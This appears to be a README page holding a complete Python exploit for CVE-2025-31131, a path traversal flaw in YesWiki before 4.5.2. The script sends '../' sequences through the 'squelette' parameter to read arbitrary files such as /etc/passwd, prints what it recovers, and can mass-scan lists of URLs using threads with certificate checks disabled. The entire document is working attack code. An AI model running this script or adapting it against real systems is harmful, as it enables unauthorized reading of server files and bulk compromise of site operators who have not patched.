README.md
Rendering markdown...
#!/usr/bin/env python3
import requests
import argparse
from urllib.parse import quote
from colorama import Fore, Style, init
import urllib3
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
init(autoreset=True)
BANNER = f"""
{Fore.CYAN}╔════════════════════════════════════════════════════╗
║ CVE-2025-31131 YesWiki Path Traversal Exploit ║
║ ║
║ YesWiki < 4.5.2 - Unauthenticated Path Traversal ║
║ Severity: High (CVSS: 8.6) ║
║ Created by: Muhammad Waseem ║
║ Reference: https://github.com/advisories/GHSA-w34w-fvp3-68xm
╚════════════════════════════════════════════════════╝{Style.RESET_ALL}
"""
# Function to extract file content from the response
def extract_file_contents(html_text):
start_index = html_text.find("root:x:0:0:")
if start_index == -1:
return "[!] File contents not found in response."
end_index = html_text.find("</", start_index)
return html_text[start_index:end_index].strip()
# Function to check vulnerability
def check_vulnerability(url, file_path):
path = quote(f"{'../'*8}{file_path}")
full_url = f"{url}/?UrkCEO/edit&theme=margot&squelette={path}&style=margot.css"
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "*/*"
}
try:
r = requests.get(full_url, headers=headers, timeout=10, verify=False)
# Check for vulnerability
if "root:x:0:0:" in r.text or "bin/bash" in r.text:
print(f"\n{Fore.GREEN}[+] {url} is Vulnerable! File content of {file_path}:{Style.RESET_ALL}")
print(f"{Fore.CYAN}{'-'*50}{Style.RESET_ALL}")
print(extract_file_contents(r.text))
print(f"{Fore.CYAN}{'-'*50}{Style.RESET_ALL}")
return True
except requests.exceptions.RequestException as e:
# Skip SSL errors or other connection issues silently
pass
return False
# Function to process URL list with threads
def process_url_list(file_path, file_to_read, threads):
try:
with open(file_path, "r") as f:
urls = [line.strip() for line in f if line.strip()]
print(f"{Fore.BLUE}[+] Scanning {len(urls)} targets using {threads} threads...\n{Style.RESET_ALL}")
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(check_vulnerability, url.rstrip("/"), file_to_read): url for url in urls}
for future in as_completed(futures):
pass # All output happens inside check_vulnerability
except FileNotFoundError:
print(f"{Fore.RED}[-] URL list file not found: {file_path}{Style.RESET_ALL}")
sys.exit(1)
# Main function to handle argument parsing and logic
def main():
parser = argparse.ArgumentParser(description="CVE-2025-31131 - YesWiki Path Traversal Exploit")
parser.add_argument("-u", "--url", help="Single target URL (e.g. https://example.com)")
parser.add_argument("-l", "--list", help="File with list of URLs")
parser.add_argument("-f", "--file", help="File path to read (default: /etc/passwd)", default="/etc/passwd")
parser.add_argument("--threads", help="Number of threads for bulk scan (default: 10)", type=int, default=10)
args = parser.parse_args()
print(BANNER)
if args.list:
process_url_list(args.list, args.file, args.threads)
elif args.url:
check_vulnerability(args.url.rstrip("/"), args.file)
else:
print(f"{Fore.RED}[-] Please specify either a single URL with -u or a list with -l{Style.RESET_ALL}")
parser.print_help()
if __name__ == "__main__":
main()